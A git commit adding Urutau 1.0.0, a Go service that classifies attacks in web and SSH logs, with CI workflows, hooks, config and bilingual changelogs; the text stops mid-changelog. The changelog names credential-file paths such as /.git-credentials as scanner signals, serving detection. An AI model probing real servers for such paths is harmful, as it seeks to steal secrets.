commit b4a2c2c9ec5896e7cdac0dfe7302f0fdb08aeb07 Author: Lucas Rayan Date: Sat Nov 14 16:13:34 2026 -0300 feat: Urutau 1.0.0, lightweight threat intelligence and web analytics Always-on Go service (stdlib only) that follows the Traefik JSON access log, the sshd log and the fail2ban log of a host, classifies attacks, scores sources, keeps bounded aggregates with snapshots, and serves an embedded dashboard with live updates, offline geolocation (DB-IP Lite), privacy-friendly traffic analytics, an exportable blocklist and token-authenticated federation between instances. Co-Authored-By: Claude Opus 5.5 diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..89e6ee8 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,13 @@ +.git +.gitea +.githooks +.wolf +.claude +.env +docs +scripts +*.md +LICENSE-* +logo.png +data +*_test.go diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..7bc01c5 --- /dev/null +++ b/.env.example @@ -0,0 +1,49 @@ +# Variables read by docker-compose.yml. Other URUTAU_* settings need a line in +# the compose `environment` block (see docs/configuration.md). + +# Image tag: latest (last release), X.Y.Z / X.Y (pinned), or edge (main). +URUTAU_VERSION=latest +# Container image repository. +URUTAU_IMAGE=git.lucasrguerra.dev.br/ciberfauna/urutau +# Host address and port of the dashboard. Keep it on loopback unless a reverse +# proxy with TLS sits in front of it. +URUTAU_PUBLISH=127.0.0.1:8790 +# Access token for the dashboard and the API (required: 32+ characters, ~128 bits of +# entropy. `openssl rand -base64 48` is recommended; `-hex 32` also works). +# To keep it out of the environment, set URUTAU_TOKEN_FILE in the compose file. +URUTAU_TOKEN= +# Name of this instance in the dashboard. +URUTAU_NAME=urutau +# Token shared between a hub and its peers (same rules as URUTAU_TOKEN, and +# different from it). It only opens /api/v1/peer/export. Empty: no export (a +# hub with peers needs a token for each: this one, or URUTAU_PEER_TOKEN_ +# added to the compose environment). +URUTAU_PEER_TOKEN= +# Source CIDRs allowed to call the export (e.g. the hub's address). Empty: any +# source that has the token. +URUTAU_PEER_ALLOW= +# Reverse proxies whose X-Forwarded-For is trusted (login rate limit, peer allow). +# The compose file puts the service on the urutau-edge network (10.250.0.0/24) +# and trusts only that; connect the proxy to it (see docs/docker.md). +URUTAU_TRUSTED_PROXY=10.250.0.0/24 +# SSH users whose successful logins keep their IP out of the blocklist for 24 h +# (comma separated). Empty: no admin immunity. +URUTAU_ADMIN_USERS= +# Peers this instance aggregates (hub mode), comma separated name=https://url. +URUTAU_PEERS= +# Your own servers and monitors: their events are dropped entirely +# (comma separated CIDRs or IPs). Private, link-local and CGNAT ranges are +# already dropped (see --ignore). +URUTAU_TRUSTED= +# How often to check for a newer DB-IP Lite geolocation database (Go duration); +# 0 disables the download. +URUTAU_GEO_UPDATE=24h +# Analytics domain allowlist, exact names or *.example.com. Empty: every domain +# that answers 2xx. +# Recommended (in practice required) when a backend answers 2xx for any Host. +URUTAU_DOMAINS= +# CIDRs the monitoring User-Agents come from. When set, the monitor User-Agent +# only counts from them. Empty: only `ok` answers are filtered. +URUTAU_MONITOR_FROM= +# Time zone of the host: fail2ban.log timestamps are local time. +TZ=UTC diff --git a/.gitea/ISSUE_TEMPLATE/bug.yml b/.gitea/ISSUE_TEMPLATE/bug.yml new file mode 100644 index 0000000..f8588f8 --- /dev/null +++ b/.gitea/ISSUE_TEMPLATE/bug.yml @@ -0,0 +1,17 @@ +name: Report a bug +description: Something did not work as expected +labels: [bug] +body: + - type: textarea + id: what-happened + attributes: { label: "What happened?", description: "Steps to reproduce, expected behavior, and actual behavior." } + validations: { required: true } + - type: input + id: system + attributes: { label: "Operating system and Urutau version", placeholder: "Ubuntu 24.04 / urutau 1.0.0" } + - type: input + id: source + attributes: { label: "Log source involved", placeholder: "Traefik access log / sshd auth.log / fail2ban.log / peer federation" } + - type: textarea + id: log + attributes: { label: "Output of urutau doctor --json and the container logs (redact IPs and tokens)", render: shell } diff --git a/.gitea/PULL_REQUEST_TEMPLATE.md b/.gitea/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 0000000..76e54c8 --- /dev/null +++ b/.gitea/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,9 @@ +## What changes and why + +## Checklist +- [ ] `gofmt -l .` prints nothing, `go vet ./...` and `go test -race ./...` pass +- [ ] Log fields are treated as hostile input (bounded, escaped, never executed or interpolated) +- [ ] Classification and scoring changes come with a test that pins the expected category +- [ ] Commits follow Conventional Commits in English and code/comments are in English +- [ ] CHANGELOG updated (if there is a user-visible change) +- [ ] Documentation kept in the English/Portuguese pair diff --git a/.gitea/workflows/ci.yml b/.gitea/workflows/ci.yml new file mode 100644 index 0000000..5cf3979 --- /dev/null +++ b/.gitea/workflows/ci.yml @@ -0,0 +1,84 @@ +name: CI + +on: + # Documentation-only or local agent state changes do not trigger CI jobs. + pull_request: + paths-ignore: ['**.md', 'docs/**', 'LICENSE*', '.gitignore', '.githooks/**', '.wolf/**', '.claude/**', '.opencode/**', '.codex/**', '.cursor/**', '.superpowers/**', '.superset/**', '.gitea/ISSUE_TEMPLATE/**', 'scripts/release-notes.sh', '.gitea/workflows/release.yml'] + workflow_call: + +concurrency: + group: ci-${{ gitea.ref }} + cancel-in-progress: true + +env: + GOCACHE: /opt/hostedtoolcache/go-build + GOMODCACHE: /opt/hostedtoolcache/go-mod + GOPATH: /opt/hostedtoolcache/gopath + NPM_CONFIG_CACHE: /opt/hostedtoolcache/npm-cache + +jobs: + lint: + name: Format and vet + runs-on: linux-arm64 + steps: + - uses: actions/checkout@v7 + - uses: actions/setup-go@v6 + with: + go-version-file: go.mod + - uses: actions/setup-node@v7 + with: + node-version: 22 + - name: UI translation coverage + run: node scripts/check-ui-i18n.mjs + - name: Workflows and templates (valid YAML) + run: | + python3 -c 'import yaml' 2>/dev/null \ + || python3 -m pip install --quiet --user --break-system-packages pyyaml + python3 -c " + import glob, yaml + for f in glob.glob('.gitea/**/*.yml', recursive=True): + yaml.safe_load(open(f)) + " + - name: Docker compose config + run: docker compose config --quiet + - name: gofmt + run: test -z "$(gofmt -l .)" + - run: go vet ./... + + test: + name: Tests (Linux, race detector) + runs-on: linux-arm64 + steps: + - uses: actions/checkout@v7 + - uses: actions/setup-go@v6 + with: + go-version-file: go.mod + - run: go test -race ./... + + audit: + name: Dependency audit + runs-on: linux-arm64 + steps: + - uses: actions/checkout@v7 + - uses: actions/setup-go@v6 + with: + go-version-file: go.mod + - name: govulncheck + run: | + command -v govulncheck >/dev/null || go install golang.org/x/vuln/cmd/govulncheck@latest + export PATH="$PATH:$(go env GOPATH)/bin" + govulncheck ./... + + image: + name: Docker image (build and smoke test) + if: ${{ gitea.event_name == 'pull_request' }} + runs-on: linux-arm64 + steps: + - uses: actions/checkout@v7 + - name: Build + run: docker build -t "urutau-ci:${{ gitea.run_id }}" . + - name: Smoke test + run: scripts/smoke-image.sh "urutau-ci:${{ gitea.run_id }}" + - name: Clean up + if: always() + run: docker rmi -f "urutau-ci:${{ gitea.run_id }}" >/dev/null 2>&1 || true diff --git a/.gitea/workflows/release.yml b/.gitea/workflows/release.yml new file mode 100644 index 0000000..7fbf52d --- /dev/null +++ b/.gitea/workflows/release.yml @@ -0,0 +1,168 @@ +name: Release + +# Publishes the multi-arch Urutau image (linux/amd64 + linux/arm64) to the Gitea +# container registry. A merge into main publishes `edge`; a v* tag re-points the +# image already built for the same inputs to X.Y.Z, X.Y and latest (no rebuild) +# and creates the Gitea Release. Needs the secret REGISTRY_TOKEN (Gitea token +# with write:package) visible to this repository. +on: + push: + branches: [main] + tags: ['v*'] + workflow_dispatch: + +concurrency: + group: release-${{ gitea.ref }} + cancel-in-progress: false + +env: + REGISTRY: git.lucasrguerra.dev.br + +jobs: + # The image is built only from these paths, so their tree hashes identify it. + # When inputs- already exists (docs-only merge, workflow change, or a tag + # on a commit main already published), nothing is built or tested again. + plan: + name: Plan (reuse the published image?) + runs-on: linux-arm64 + outputs: + inputs: ${{ steps.plan.outputs.inputs }} + reuse: ${{ steps.plan.outputs.reuse }} + image: ${{ steps.plan.outputs.image }} + steps: + - uses: actions/checkout@v7 + - id: plan + env: + REPO: ${{ gitea.repository }} + run: | + paths="Dockerfile .dockerignore go.mod cmd internal logo.png" + # go.sum only exists once a dependency is added (the code is stdlib-only today). + git cat-file -e HEAD:go.sum 2>/dev/null && paths="$paths go.sum" + inputs=$(for p in $paths; do git rev-parse "HEAD:$p"; done | sha256sum | cut -c1-16) + ns="${REPO,,}" + token=$(curl -fsS "https://$REGISTRY/v2/token?service=container_registry&scope=repository:$ns:pull" | jq -r .token) + code=$(curl -s -o /dev/null -w '%{http_code}' -I \ + -H "Authorization: Bearer $token" \ + -H 'Accept: application/vnd.oci.image.index.v1+json,application/vnd.docker.distribution.manifest.list.v2+json' \ + "https://$REGISTRY/v2/$ns/manifests/inputs-$inputs") + echo "inputs-$inputs -> HTTP $code" + reuse=false; [ "$code" = 200 ] && reuse=true + echo "inputs=$inputs" >> "$GITHUB_OUTPUT" + echo "reuse=$reuse" >> "$GITHUB_OUTPUT" + echo "image=$REGISTRY/$ns" >> "$GITHUB_OUTPUT" + + ci: + needs: plan + if: ${{ needs.plan.outputs.reuse != 'true' }} + uses: ./.gitea/workflows/ci.yml + + # Each architecture is built on a native runner (no QEMU) and pushed under a + # per-architecture tag; publish joins them into one manifest list. + build: + name: Build image (${{ matrix.arch }}) + needs: [plan, ci] + if: ${{ needs.plan.outputs.reuse != 'true' }} + runs-on: ${{ matrix.runner }} + strategy: + fail-fast: false + matrix: + include: + - { arch: amd64, platform: linux/amd64, runner: linux-amd64 } + - { arch: arm64, platform: linux/arm64, runner: linux-arm64 } + steps: + - uses: actions/checkout@v7 + - uses: docker/setup-buildx-action@v4 + - uses: docker/login-action@v4 + with: + registry: ${{ env.REGISTRY }} + username: ${{ gitea.actor }} + password: ${{ secrets.REGISTRY_TOKEN }} + # Plain `docker buildx build` instead of docker/build-push-action: that + # action's large upstream repo reliably hangs the act runner's clone. + # Same end result, no action to clone. + - name: Build and push (per architecture) + run: | + docker buildx build \ + --platform "${{ matrix.platform }}" \ + --push \ + -t "${{ needs.plan.outputs.image }}:build-${{ gitea.sha }}-${{ matrix.arch }}" \ + --cache-from "type=registry,ref=${{ needs.plan.outputs.image }}:buildcache-${{ matrix.arch }}" \ + --cache-to "type=registry,ref=${{ needs.plan.outputs.image }}:buildcache-${{ matrix.arch }},mode=max" \ + . + # Runs the image that was just pushed, on its own architecture. + - name: Smoke test + run: scripts/smoke-image.sh "${{ needs.plan.outputs.image }}:build-${{ gitea.sha }}-${{ matrix.arch }}" + + publish: + name: Publish tags + needs: [plan, build] + # build is skipped, not successful, when the image is reused. + if: ${{ !cancelled() && needs.plan.result == 'success' && (needs.build.result == 'success' || needs.plan.outputs.reuse == 'true') }} + runs-on: linux-arm64 + steps: + - uses: docker/setup-buildx-action@v4 + - uses: docker/login-action@v4 + with: + registry: ${{ env.REGISTRY }} + username: ${{ gitea.actor }} + password: ${{ secrets.REGISTRY_TOKEN }} + - name: Tags + id: meta + uses: docker/metadata-action@v6 + with: + images: ${{ needs.plan.outputs.image }} + flavor: latest=false + tags: | + type=semver,pattern={{version}} + type=semver,pattern={{major}}.{{minor}} + type=raw,value=latest,enable=${{ startsWith(gitea.ref, 'refs/tags/v') && !contains(gitea.ref_name, '-') }} + type=raw,value=edge,enable=${{ gitea.ref == 'refs/heads/main' }} + type=sha,format=long + - name: Apply tags + run: | + image='${{ needs.plan.outputs.image }}' + tags=$(jq -cr '.tags | map("-t " + .) | join(" ")' <<< '${{ steps.meta.outputs.json }}') + inputs='${{ needs.plan.outputs.inputs }}' + if [ '${{ needs.plan.outputs.reuse }}' = true ]; then + docker buildx imagetools create $tags "$image:inputs-$inputs" + else + docker buildx imagetools create $tags -t "$image:inputs-$inputs" \ + "$image:build-${{ gitea.sha }}-amd64" "$image:build-${{ gitea.sha }}-arm64" + fi + - name: Check architectures + run: | + docker buildx imagetools inspect "${{ needs.plan.outputs.image }}:inputs-${{ needs.plan.outputs.inputs }}" \ + --format '{{json .Manifest}}' \ + | jq -r '.manifests[] | select(.platform.os == "linux") | "\(.platform.os)/\(.platform.architecture)"' \ + | tee platforms.txt + grep -qx linux/amd64 platforms.txt && grep -qx linux/arm64 platforms.txt + - name: Summary + run: | + { echo "### Urutau image published (linux/amd64, linux/arm64)"; echo; echo '```' + echo "${{ steps.meta.outputs.tags }}"; echo '```'; } >> "$GITHUB_STEP_SUMMARY" + + gitea-release: + name: Gitea release + needs: [plan, publish] + if: ${{ !cancelled() && needs.publish.result == 'success' && startsWith(gitea.ref, 'refs/tags/v') }} + runs-on: linux-arm64 + steps: + - uses: actions/checkout@v7 + with: + fetch-depth: 0 + - name: Release + env: + TAG: ${{ gitea.ref_name }} + TOKEN: ${{ gitea.token }} + API: ${{ gitea.server_url }}/api/v1/repos/${{ gitea.repository }} + IMAGE: ${{ needs.plan.outputs.image }} + run: | + if curl -fsS -H "Authorization: token $TOKEN" "$API/releases/tags/$TAG" >/dev/null 2>&1; then + echo "release $TAG already exists"; exit 0 + fi + { scripts/release-notes.sh "$TAG"; echo; echo '```bash'; echo "docker pull $IMAGE:${TAG#v}"; echo '```'; } > notes.md + pre=false; case "$TAG" in *-*) pre=true ;; esac + jq -n --arg tag "$TAG" --arg name "Urutau ${TAG#v}" --rawfile body notes.md --argjson pre "$pre" \ + '{tag_name:$tag, name:$name, body:$body, prerelease:$pre}' > release.json + curl -fsS -X POST "$API/releases" -H "Authorization: token $TOKEN" \ + -H 'Content-Type: application/json' -d @release.json >/dev/null diff --git a/.gitea/workflows/weekly.yml b/.gitea/workflows/weekly.yml new file mode 100644 index 0000000..8a3c692 --- /dev/null +++ b/.gitea/workflows/weekly.yml @@ -0,0 +1,42 @@ +name: Weekly + +# Checks that do not depend on a push: a new Go vulnerability advisory can land +# on a dependency or on the toolchain while the code stands still. +on: + schedule: + - cron: '17 6 * * 1' + workflow_dispatch: + +concurrency: + group: weekly + cancel-in-progress: false + +env: + GOCACHE: /opt/hostedtoolcache/go-build + GOMODCACHE: /opt/hostedtoolcache/go-mod + GOPATH: /opt/hostedtoolcache/gopath + +jobs: + audit: + name: Dependency audit + runs-on: linux-arm64 + steps: + - uses: actions/checkout@v7 + - uses: actions/setup-go@v6 + with: + go-version-file: go.mod + - name: govulncheck + run: | + command -v govulncheck >/dev/null || go install golang.org/x/vuln/cmd/govulncheck@latest + export PATH="$PATH:$(go env GOPATH)/bin" + govulncheck ./... + + race: + name: Tests (race detector, repeated) + runs-on: linux-arm64 + steps: + - uses: actions/checkout@v7 + - uses: actions/setup-go@v6 + with: + go-version-file: go.mod + - run: go test -race -count=5 ./... diff --git a/.githooks/commit-msg b/.githooks/commit-msg new file mode 100755 index 0000000..f89479b --- /dev/null +++ b/.githooks/commit-msg @@ -0,0 +1,42 @@ +#!/usr/bin/env bash +# Enforces Conventional Commits 1.0.0 and English-only commit messages. +set -euo pipefail + +msg_file="${1:?usage: commit-msg }" +python3 - "$msg_file" <<'PY' +import re, sys +from pathlib import Path + +raw = Path(sys.argv[1]).read_text(encoding="utf-8") +lines = [l for l in raw.splitlines() if not l.startswith("#")] +while lines and not lines[0].strip(): + lines.pop(0) +if not lines: + sys.exit("commit-msg: empty commit message") + +subject = lines[0].strip() +if subject.startswith(("Merge ", "Revert \"")): + sys.exit(0) + +conv_re = re.compile( + r"^(feat|fix|chore|ci|docs|refactor|test|perf|build|style|revert)(\([a-z0-9_./-]+\))?!?: .+$" +) +if not conv_re.match(subject): + sys.exit( + f"commit-msg: invalid Conventional Commit header: {subject!r}\n" + "Expected: [optional scope]: \n" + "Allowed types: feat, fix, chore, ci, docs, refactor, test, perf, build, style, revert" + ) + +body = "\n".join(lines) +cleaned = re.sub(r"\b(Guará|Sabiá|Acauã|Harpia|Urutau|Ciberfauna)\b", "", body) +pt_accents = re.search(r"[áàâãéêíóôõúçÁÀÂÃÉÊÍÓÔÕÚÇ]", cleaned) +pt_words = re.search( + r"\b(não|para|como|quando|então|pelos|pelas|pelo|pela|estão|está|também|versão|" + r"corrige|adiciona|atualiza|remove|padroniza|implementa|ajusta|arquivo|arquivos)\b", + cleaned, + re.I, +) +if pt_accents or pt_words: + sys.exit("commit-msg: commit messages must be written 100% in English.") +PY diff --git a/.githooks/pre-push b/.githooks/pre-push new file mode 100755 index 0000000..c7faa7c --- /dev/null +++ b/.githooks/pre-push @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +set -euo pipefail +exec "$(git rev-parse --show-toplevel)/scripts/check.sh" diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..5e49b73 --- /dev/null +++ b/.gitignore @@ -0,0 +1,24 @@ +# Go build output +/urutau +/dist +/bin +*.test +*.out +# Runtime state +/data +# Secrets: only the example is versioned +.env +.env.* +!.env.example +.DS_Store +__pycache__/ +*.eml +# Local agent state +/.wolf +/.claude +/.opencode +/.codex +/.cursor +/.superpowers +/.superset +/graphify-out diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..fad7282 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,53 @@ +# Changelog + +**English** · [Português](CHANGELOG.pt-BR.md) + +Format based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versions follow SemVer. + +## [Unreleased] + +## [1.0.0] - 2026-11-14 + +First release. + +### Added +- Log collection from the Traefik JSON access log, `/var/log/auth.log` (sshd) and `/var/log/fail2ban.log`, followed through rotation and truncation, with a bounded line size and a backfill of rotated files on the first start. +- Classification into `ok`, `notfound`, `scanner`, `exploit`, `bruteforce`, `ssh-fail`, `ssh-probe`, `ssh-ok` and `ban`, with percent-decoding (twice) of request paths against evasion. +- IP scoring by category weight: 50 or more is hostile, 10 or more is suspicious. +- Rolling state of up to 7 days (minute buckets, top lists, per-IP detail and a live feed), saved to a snapshot file every 60 seconds and on shutdown, restored with the file offsets so a restart never replays a log. +- Embedded dashboard (English and Portuguese, light and dark) with KPIs, a timeline, an IP table with filters and sorting, an IP detail drawer, a live feed over Server-Sent Events, top paths, domains, User-Agents and users, per-host and per-source status. +- Token login with a signed `HttpOnly`, `SameSite=Strict` session cookie and a per-IP rate limit; bearer token for the API. +- JSON API: `/api/health`, `/api/v1/summary`, `/api/v1/ips`, `/api/v1/ip/{ip}`, `/api/v1/events/stream`. +- Exportable blocklist as `/api/v1/blocklist.txt` and `/api/v1/blocklist.json`. +- Federation: `--peer name=https://url` aggregates other instances. A hub only calls `GET /api/v1/peer/export?range=1h|24h|7d` (`{"v":1,"summary":...,"traffic":{...}}`, top 500 IPs with detail, cached 5 s) every 15 s, with a 4 s timeout, an 8 MB limit, no redirects, `https` required outside loopback, and sanitized, capped peer data. `--peer-allow` / `URUTAU_PEER_ALLOW` limits the source CIDRs of the export. +- Offline geolocation (country, city, ASN) from the DB-IP Lite databases (CC BY 4.0), downloaded and refreshed by Urutau (`--geo-dir`, `--geo-update`) and read by a built-in, dependency-free MMDB reader. +- User-Agent parsing into browser, operating system, device, bots and attack tools. +- Privacy-friendly web analytics for legitimate traffic (Traffic tab): unique visitors by a daily-salted hash, pages, referrers, countries, browsers, devices, latency p50 and p95, bytes and a world map. The IP of a legitimate visitor is never persisted. Threats and Traffic are separate tabs. +- Reverse DNS enrichment of listed IPs. +- Noise filters: `--trusted` / `URUTAU_TRUSTED` (alias `--ignore`) drops events from trusted CIDRs, and `--monitor-ua` / `URUTAU_MONITOR_UA` keeps benign monitoring requests (such as Uptime-Kuma) out of the traffic numbers. +- `urutau doctor [--json]` to check the configuration, the sources, the data directory, the geolocation databases and the snapshot; the JSON output carries `geo` and `state`. +- `--monitor-from` / `URUTAU_MONITOR_FROM` (a monitor User-Agent only counts from those networks; without it only `ok` answers are filtered) and `--domains` / `URUTAU_DOMAINS` (analytics domain allowlist, `*.example.com` accepted). +- `urutau healthcheck`, the image `HEALTHCHECK` (the image has no `curl`, 28.5 MB). +- Default `--ignore` widened: `192.168.0.0/16`, `fc00::/7`, `fe80::/10`, `100.64.0.0/10`, `169.254.0.0/16` join the previous ranges. +- `--admin-users` / `URUTAU_ADMIN_USERS`: admin immunity lasts 24 hours after the last successful SSH login of those users (off unless the list is set; a login in the same second as a strong attack gives no immunity) and a later strong signal cancels it. The blocklist takes `?family=4|6`. +- Requests framed by another page (`Sec-Fetch-Site` cross-site/same-site or a sub-resource `Sec-Fetch-Dest`) create an IP record like any other but weigh 0.25 per event (at most 30 points per IP from them, never a strong signal; ignored with an attack-tool User-Agent); Traefik must log `Sec-Fetch-Site`, `Sec-Fetch-Dest` and `Referer`. +- Serialized wrong-login attempts from a blocked client (1 s delay doubling to 30 s, parallel ones get 429 at once); the correct token always gets in. +- Compose mounts only `/data/coolify/proxy/logs` and the dedicated host directory `/var/log/urutau` (read-only); documented how to prepare it (rsyslog copy of sshd, fail2ban `logtarget`, logrotate), the known `logger -t sshd` limitation, how to point Traefik's access log at `/traefik/logs/access.log` on Coolify and to keep Urutau on a network shared only with Traefik. +- `--trusted-proxy` / `URUTAU_TRUSTED_PROXY` (default: loopback only; the compose file creates the `urutau-edge` network, `10.250.0.0/24`, and trusts just that): `X-Forwarded-For` is accepted only from these proxies, read right to left, for the login rate limit and `--peer-allow`. +- Multi-arch container image (`linux/amd64`, `linux/arm64`), `docker-compose.yml` and a Coolify deployment guide. +- Gitea CI (format, vet, race tests, `govulncheck`, UI translation coverage, image smoke test), a release workflow that reuses an already published image, a weekly audit, local hooks and `scripts/check.sh`. +- Bilingual documentation (English and Portuguese). + +### Security +- `URUTAU_TOKEN` must have at least 32 characters and about 128 bits of estimated entropy (length times Shannon entropy; periodic or sequential tokens are refused) (generate with `openssl rand -base64 48`; `-hex 32` also works). Peer tokens follow the same rule and must differ from `URUTAU_TOKEN`; peers without a token are refused. Secrets can come from `URUTAU_TOKEN_FILE` and `URUTAU_PEER_TOKEN_FILE`, and each peer can have its own client credential, `URUTAU_PEER_TOKEN_` (the general one is the fallback). The export accepts only the server token `URUTAU_PEER_TOKEN`; per-peer values never open it, and peer names that collide in the variable (`my-peer`/`my_peer`) are refused. An `admin` flag from a peer is ignored and a peer's `Strong` only counts with a score of 50 or more. +- Revocable sessions (random in-memory id, logout revokes and closes the live stream, restart invalidates), cross-site login and logout rejected, a blocked login answers 429 while the correct token still gets in after a 1 second delay, failed bearer tokens count, IPv6 limited per /64, `Referrer-Policy: same-origin`. +- `/api/health` returns only `{"status":"ok"}`; log file paths are never shown in the UI or to peers. +- Scanner and exploit hits answered with 2xx or 3xx weigh 0.5; a hostile level needs a score of 50 plus a strong signal (attack tool, two or more categories, a ban, or a refused strong exploit); an IP with a successful SSH login is never hostile and never blocklisted; the blocklist only holds globally routable IPs outside `--ignore` and `--trusted`; IPv6 is aggregated by /64 and exported as `x:x:x:x::/64`; up to 20,000 tracked IPs and a 160 MiB soft memory limit. +- A domain gets an analytics slot only after a 2xx answer; `/.gitignore`, `/.git-credentials` and similar paths are scanner hits; snapshots from earlier versions migrate without losing traffic history and inactive domains are pruned; top pages normalize token-looking segments to `:id`. +- The peer token only opens `GET /api/v1/peer/export` (other routes answer 403 to it, `URUTAU_TOKEN` gets 401 there, and the export is 404 without a peer token). +- HTTP server timeouts, `MaxHeaderBytes` of 16 KB, `POST /login` capped at 4 KB and at most 20 live-stream clients (503 with `Retry-After`, 20 s heartbeat). +- A corrupt snapshot is moved to `urutau-state.gob.corrupt` and the service starts empty, reading the logs again. +- Built with Go 1.26.11, which fixes five standard library vulnerabilities. +- The IP address of a legitimate visitor is never persisted; unique visitors use a hash with a daily salt. +- Hostile log content is limited in length and escaped on output; the dashboard ships a strict Content-Security-Policy and the usual hardening headers. +- `--insecure-no-auth` is refused unless the bind address is loopback. diff --git a/CHANGELOG.pt-BR.md b/CHANGELOG.pt-BR.md new file mode 100644 index 0000000..6a93302 --- /dev/null +++ b/CHANGELOG.pt-BR.md @@ -0,0 +1,53 @@ +# Histórico de alterações + +[English](CHANGELOG.md) · **Português** + +Formato baseado no [Keep a Changelog](https://keepachangelog.com/pt-BR/1.1.0/); versionamento segue SemVer. + +## [Unreleased] + +## [1.0.0] - 2026-11-14 + +Primeira versão. + +### Adicionado +- Coleta de logs do access log JSON do Traefik, de `/var/log/auth.log` (sshd) e de `/var/log/fail2ban.log`, acompanhados através de rotação e truncamento, com tamanho de linha limitado e leitura dos arquivos rotacionados na primeira inicialização. +- Classificação em `ok`, `notfound`, `scanner`, `exploit`, `bruteforce`, `ssh-fail`, `ssh-probe`, `ssh-ok` e `ban`, com decodificação percentual (duas vezes) dos caminhos contra evasão. +- Pontuação de IPs pelo peso da categoria: 50 ou mais é hostil, 10 ou mais é suspeito. +- Estado móvel de até 7 dias (buckets por minuto, listas de top, detalhe por IP e feed ao vivo), salvo em arquivo de snapshot a cada 60 segundos e no desligamento, restaurado junto com as posições dos arquivos para que um reinício nunca reprocesse um log. +- Dashboard embutido (inglês e português, claro e escuro) com KPIs, linha do tempo, tabela de IPs com filtros e ordenação, painel de detalhe do IP, feed ao vivo por Server-Sent Events, top de caminhos, domínios, User-Agents e usuários, e status por host e por fonte. +- Login por token com cookie de sessão assinado `HttpOnly` e `SameSite=Strict` e limite de tentativas por IP; bearer token para a API. +- API JSON: `/api/health`, `/api/v1/summary`, `/api/v1/ips`, `/api/v1/ip/{ip}`, `/api/v1/events/stream`. +- Blocklist exportável em `/api/v1/blocklist.txt` e `/api/v1/blocklist.json`. +- Federação: `--peer nome=https://url` agrega outras instâncias. Um hub só chama `GET /api/v1/peer/export?range=1h|24h|7d` (`{"v":1,"summary":...,"traffic":{...}}`, 500 IPs principais com detalhe, cache de 5 s) a cada 15 s, com timeout de 4 s, limite de 8 MB, sem redirects, `https` obrigatório fora de loopback e dados do peer sanitizados e limitados. `--peer-allow` / `URUTAU_PEER_ALLOW` limita os CIDRs de origem do export. +- Geolocalização offline (país, cidade, ASN) a partir das bases DB-IP Lite (CC BY 4.0), baixadas e atualizadas pelo Urutau (`--geo-dir`, `--geo-update`) e lidas por um leitor MMDB embutido e sem dependências. +- Interpretação de User-Agent em navegador, sistema operacional, dispositivo, bots e ferramentas de ataque. +- Web analytics amigável à privacidade para o tráfego legítimo (aba Tráfego): visitantes únicos por hash com sal diário, páginas, referrers, países, navegadores, dispositivos, latência p50 e p95, bytes e mapa-múndi. O IP de um visitante legítimo nunca é persistido. Ameaças e Tráfego são abas separadas. +- Enriquecimento com DNS reverso dos IPs listados. +- Filtros de ruído: `--trusted` / `URUTAU_TRUSTED` (alias `--ignore`) descarta eventos de CIDRs confiáveis, e `--monitor-ua` / `URUTAU_MONITOR_UA` mantém requisições benignas de monitoramento (como o Uptime-Kuma) fora dos números de tráfego. +- `urutau doctor [--json]` para conferir a configuração, as fontes, o diretório de dados, as bases de geolocalização e o snapshot; a saída JSON traz `geo` e `state`. +- `--monitor-from` / `URUTAU_MONITOR_FROM` (um User-Agent de monitor só vale vindo dessas redes; sem ele só respostas `ok` são filtradas) e `--domains` / `URUTAU_DOMAINS` (lista de domínios do analytics, aceita `*.exemplo.com`). +- `urutau healthcheck`, o `HEALTHCHECK` da imagem (a imagem não tem `curl`, 28,5 MB). +- `--ignore` padrão ampliado: `192.168.0.0/16`, `fc00::/7`, `fe80::/10`, `100.64.0.0/10` e `169.254.0.0/16` se somam às faixas anteriores. +- `--admin-users` / `URUTAU_ADMIN_USERS`: a imunidade de admin dura 24 horas após o último login SSH bem-sucedido desses usuários (desligada a menos que a lista seja definida; um login no mesmo segundo de um ataque forte não dá imunidade) e um sinal forte posterior a anula. A blocklist aceita `?family=4|6`. +- Requisições enquadradas por outra página (`Sec-Fetch-Site` cross-site/same-site ou `Sec-Fetch-Dest` de subrecurso) criam registro de IP como as demais mas pesam 0,25 por evento (no máximo 30 pontos por IP vindos delas, nunca um sinal forte; ignorado com User-Agent de ferramenta de ataque); o Traefik precisa registrar `Sec-Fetch-Site`, `Sec-Fetch-Dest` e `Referer`. +- Tentativas de login erradas de um cliente bloqueado são serializadas (atraso de 1 s dobrando até 30 s, as paralelas levam 429 na hora); o token correto sempre entra. +- O compose monta só `/data/coolify/proxy/logs` e o diretório dedicado `/var/log/urutau` (somente leitura); documentado como prepará-lo (cópia do sshd pelo rsyslog, `logtarget` do fail2ban, logrotate), a limitação conhecida do `logger -t sshd`, como apontar o access log do Traefik para `/traefik/logs/access.log` no Coolify e manter o Urutau em uma rede compartilhada só com o Traefik. +- `--trusted-proxy` / `URUTAU_TRUSTED_PROXY` (padrão: só o loopback; o compose cria a rede `urutau-edge`, `10.250.0.0/24`, e confia só nela): `X-Forwarded-For` só é aceito desses proxies, lido da direita para a esquerda, para o limite de login e o `--peer-allow`. +- Imagem de container multi-arquitetura (`linux/amd64`, `linux/arm64`), `docker-compose.yml` e guia de deploy no Coolify. +- CI no Gitea (formatação, vet, testes com race, `govulncheck`, cobertura de tradução da UI, smoke test da imagem), workflow de release que reaproveita imagem já publicada, auditoria semanal, hooks locais e `scripts/check.sh`. +- Documentação bilíngue (inglês e português). + +### Segurança +- `URUTAU_TOKEN` precisa de pelo menos 32 caracteres e cerca de 128 bits de entropia estimada (comprimento vezes entropia de Shannon; tokens periódicos ou sequenciais são recusados) (gere com `openssl rand -base64 48`; `-hex 32` também serve). Tokens de peer seguem a mesma regra e devem ser diferentes de `URUTAU_TOKEN`; peers sem token são recusados. Os segredos podem vir de `URUTAU_TOKEN_FILE` e `URUTAU_PEER_TOKEN_FILE`, e cada peer pode ter sua própria credencial de cliente, `URUTAU_PEER_TOKEN_` (a geral é a reserva). O export aceita só o token de servidor `URUTAU_PEER_TOKEN`; os valores por peer nunca o abrem, e nomes de peer que colidem na variável (`my-peer`/`my_peer`) são recusados. Um sinalizador `admin` vindo de um peer é ignorado e o `Strong` de um peer só vale com pontuação 50 